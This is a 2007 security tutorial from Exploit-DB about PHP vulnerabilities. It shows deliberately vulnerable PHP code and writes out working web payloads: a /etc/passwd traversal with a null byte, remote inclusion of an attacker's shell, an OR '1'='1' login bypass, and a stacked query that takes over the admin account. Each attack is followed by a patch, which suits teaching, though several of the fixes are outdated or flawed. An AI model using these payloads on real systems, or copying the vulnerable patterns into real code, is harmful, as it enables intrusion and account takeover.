PHP Underground Security

EDB-ID:

13100

CVE:

N/A

Author:

Omni

Type:

papers

Platform:

Multiple

Published:

2007-04-12

/================================================================================\
---------------------------------[ PLAYHACK.net ]---------------------------------
\================================================================================/

-[ INFOS ]-----------------------------------------------------------------------

Title: "PHP Undergroud Security"
Author: Omnipresent
E-Mail: omnipresent@email.it - omni@playhack.net
Website: http://omni.playhack.net - http://www.playhack.net
Date: 2007-04-12
 
---------------------------------------------------------------------------------


-[ SUMMARY ]---------------------------------------------------------------------

	0x00: Let's start..
	0x01: Global Variables, look it carefully
		[*] Patching
	0x02: File Inclusion
		[*] Patching
	0x03: XSS
	0x04: SQL Injection
		\_ 0x04a: Login Bypass
		\_ 0x04b: 1 Query? No.. 2 one!
		[*] Patching
	0x05: File Traverse
		[*] Patching
	0x05: Conclusion
	
---------------------------------------------------------------------------------



---[ 0x00: Let's start.. ]

Hello to everybody, first of all I'm sorry for my poor english but is not my
mother language.

In this tutorial I will explain the PRINCIPALES PHP mistake; how to find it,
how to exploit it and at the end, how to patch it!

Have fun!


-----------------------------------------------------------------------------[/]


---[ 0x01: Global Variables, look it carefully]

In PHP you don't have to declare a variable and this is a great thing for a
programmer; the variables will be created "automatically" when you have to use it.
Great thing you are thinking.. Yes, but sometimes.
PHP, as we know, often take an input from the users, and it will process it. If we
have never delcared a varible before using it maybe we can have some problem concerning
the Security of our Web Application. For example, take a look of the follow piece of code:

	[...]

	if ($is_admin == 1) {
		//Yes, I'm the admin so call the Administration Pannel
		[...]
	} else {
		//No, I'm not the admin
		[...]
	}

Ok, as we can see $is_admin is never delcared before being used, so if we can pass
this variable to this PHP script (BUGGED) maybe we can have unauthorized access to
the Administration Pannel. Yes, but how to gain Admin Credential Rights? Simple:

http://remote_host/bugged.php?is_admin=1

---[ Patching ]---

How to patch this bug? Simple and quickly: DECLARE $is_admin before the IF 
statement; like it:

$is_admin = 0;

[...]

	if ($is_admin == 1) {
		//Yes, I'm the admin so call the Administration Pannel
		[...]
	} else {
		//No, I'm not the admin
		[...]
	}

-----------------------------------------------------------------------------[/]


---[ 0x02: File Inclusion]

-----[ Local File Inclusion]

PHP is a great language, powerful and simple; but you must take a look to your
code if you don't want Security Issue in your codes.
In many situations is great thing the use dynamic includes, where the part of the
pathname is stored in a variable. For example, take the following example:

<?php

	include "/users/".$include_path.".php";
	[...]
?>


The $include_path is not declared before being used so, an attacker can put 
tainted data in this variable and include some other files like /etc/passwd..
For example, a user can EASILY view another file by modifying the value of the
include_path in the URL. For example:

http://remote_host/bugged.php?include_path=../../../../etc/passwd%00

The result of this inclusion will be:

<?php

	include "/users/../../../../etc/passwd%00.php"
	[...]
?>

So a malicious user can see all stored passwords in the server.

- [ NOTE ] -

%00, what's that? Simple, it means a NULL CHAR that "delete" the PHP extension.
If we omit this NULL Byte we will be able to display ONLY .php files because
the extension included is PHP (include "/users/".$include_path.".PHP")

-------------------------------------------------------------------------------

-----[ Remote File Inclusion]

Take a look of the following code:

<?php

	[...]

		include($_GET['pag']);

	[...]

?>

As we can see, $page is not validated before being used so a malicious user could
include or call (as you prefer to say) his script via the browser and gain access
to the machine or view, as before, a file.

Example one: (gain access to the machine)

http://remote_host/inc.php?pag=[Evil Script - our shell located on our server]

Example two: (view files)

http://remote_host/inc.php?pag=/etc/passwd

---[ Patching ]---

The solution? validate the input. One of lots of methods to validate inputs 
would be to create a list of acceptable pages as shown below:

[...]

	$pag = $_GET['pag'];

	$pages = array('index.php', 'alfa.php', 'beta.php', 'gamma.php');
	
		if(in_array($pag, $pages))
		{
			include($pag);
		{
			else
			{
			die("Hacking Attempt!");
			}

[...]

-----------------------------------------------------------------------------[/]

---[ 0x03: XSS]

Hey, do you wanna know somethings about XSS?

My partner has done a great work about XSS and it's useless to write the same things
so, take a look of:

	[+] "Cross-Site Scripting for Fun and Profit"
	    http://www.playhack.net/view.php?type=1&id=18

	[+] "Applying XSS to Phishing Attacks"
	    http://www.playhack.net/view.php?type=1&id=20

-----------------------------------------------------------------------------[/]

---[ 0x03: SQL Injection]

With SQL Injection, as the name said, you can inject SQL Code in the query string
of a bugged web application.


------[ 0x04b Login Bypass ]
 

Before starting with an elegant :D example we must know some things about SQL:

- (') apex? What's that? In the SQL Statement this is an operator and for us
(Attacker part) this is very important for the exloiting of some vulnerabilities.
It delimit the strings..

- (#) Comments? Right :D with this '#' (without apex) it means that in the SQL
Statement we are trying to made a comment. Take it in your mind because it very
useful and important!

- (;) It means that we made a new query on the DataBase.. easy

Ok, after a little break on useful operands (for hacking.. right :D) we can made
the first example: Login Bypass - Gain Admin Credential Rights

<?php

	// login.php
		
	$nick = $_POST['nick'];
	$pass = $_POST['pass'];

	$link = mysql_connect('localhost', 'root', 'root') or die('Error: '.
		mysql_error());

	mysql_select_db("sql_inj", $link);


$query = mysql_query("SELECT * FROM sql_inj WHERE nick ='".$nick."' AND pass ='" .$pass. "'", 
$link);

if (mysql_num_rows($query) == 0) {
echo "<script type=\"text/javascript\">window.location.href='index.html';</script>";
exit;
}

	$logged = 1;

	[...]

	//EoF

	?>



This script is very simple but very useful to learn somethings about SQL Injection.
As we can see the variables $nick and $pass are not properly sanitized before
being used in the SQL query, so we can inject our code.. our SQL code!

Take a look of the query:

"SELECT * FROM sql_inj WHERE nick ='".$nick."' AND pass ='" .$pass. "'"

What happends if we pass two variables tainted like these:

$nick = 1' OR '1' = '1
$pass = 1' OR '1' = '1

The new query will be:

"SELECT * FROM sql_inj WHERE nick ='1 OR '1' = '1' AND pass ='1' OR '1' = '1'"

mmh.. clear? not? ok let me made clarity..

If you know something about truth tables you do not have problems to understand..

1 OR 1 = 1 ??

one OR one is equal to one ? Yeees obvious!!!

So, who is the first user in the table 'sql_inj'? 
Maybe who installed the Web Application? Yes! The Admin :D

So, we are logged in as the first user and the first user is the Admin so.. 
we are the Admin ;) Cool right? 

We can put also this query string:

$nick = 1' OR '1' = '1' #
$pass = what_we_want_to_put

The new query will be:

"SELECT * FROM sql_inj WHERE nick ='1 OR '1' = '1' # AND pass = what_we_want_to_put"

As we said before the '#' it means that what it has after it's a comment! The
NEWEST :D query is:

"SELECT * FROM sql_inj WHERE nick ='1 OR '1' = '1'

and... we are again the Admin :D


------[ 0x04b: 1 Query? No.. 2 one! ]

With SQL Injection we can modify the query and we can insert new dates, update
users profiles and much more.. Let's look this source code:

<?php

//email.php

[...]

$email = $_POST['email'];

[...]

$query = mysql_query("SELECT email, passwd, user_name FROM users WHERE email = 
'".$email."'");
[...]

?>

Oh oh oh.. what we have here? $email variable is not properly sanitized before
being used.. great!! We can exploit it and.. for example update
DataBase informations easily by putting in the variable something like this:

$email =  x'; UPDATE users SET email = 'omnipresent@email.it' 
	  WHERE email = 'admin@site.com ';

and the new query will be:

SELECT email, passwd, user_name FROM users 
	WHERE email = ' x'; UPDATE users SET email = 'omnipresent@email.it' 
	WHERE email = 'admin@site.com ';

Here the attacker has updated the 'users' table, in particular in the admin email
field, with his email. So, with the script, for example, "Forgot your password?"
he can pass his email (omnipresent@email.it in this case :D) and receive an
email like the follow:

	From: host@site.com
	To: omnipresent@email.it
	Subject: Login Password

	Ehy.. take it ;)

	Username: Admin
	Password: 12345

	Regards,
	Admin


---[ Patching ]---

First of all, for patching the scripts we can choose to make some cool modification
on php.ini file:

1. set magic_quotes_gcp to On
  It will insert escape characters before the apex (') hold in:
	-COOKIE
	-POST
	-GET

2. use addslashes()
   It will quote the string with the slashes '/'

3. htmlspecialchars()
   It will converts special chars in HTML entity

4. mysql_escape_string()
   Escape a string used in mysql_query

5. Look www.php.net for more functions ;)

6. Validate the input passed from the user, like the example below:

	$user_id = (int)$_GET['user_id'];
	
	$user_id is always an integer and we can cast the input for securing
	our web applications.


-----------------------------------------------------------------------------[/]


---[ 0x05: File Traverse ]

Trasversing the filesystem is a really important and critical bug; and a little
explaination of this bug is the minimum that I can made :D

Whenever we use a file we must indicate the filename and the filepath at some
point in our scripts. In many cases, the filename is an argument passed by the
users; an argument passed to the function fopen(), like:

<?php

[...]

	$fp = fopen("/path/{$_GET['filename']}.txt", 'r');

[...]

?>

In this script exists a vulnerability because 'filename' could be tainted by a
remote user.
In this case the attacker can traverses the filesystem by using multiple
instances of "../" to move up to the directory tree and see other files.

For example:
http://remote_host/path/bug.php?filename=../../../../path_of_another_file/file%00

However, keep in mind that NULL Byte (%00) is used in lots of attacks to terminate
a string and avoid the filename extansion limitations.

---[ Patching ]---

A great solution to patch this script is to use basename() function as show in the
example below:

<?php
 
	$clean = array(); 
	
	if (basename($_GET['filename']) == $_GET['filename']) 
		{ 
			$clean['filename'] = $_GET['filename']; 
		} 
	else 
		{ 

			[...]

		} 

$fp = fopen("/path/{$clean['filename']}.txt", 'r');


?> 


-----------------------------------------------------------------------------[/]


---[ 0x06: Conclusion ]

This is the end of my paper "PHP Undergroud Security" and I hope that it will
help you to make secure PHP code!

For any problems do not esitate to mail me at omnipresent@email.it or
omni@playhack.net.


-----------------------------------------------------------------------------[/]

\======================================[EOF]=====================================/

# milw0rm.com [2007-04-12]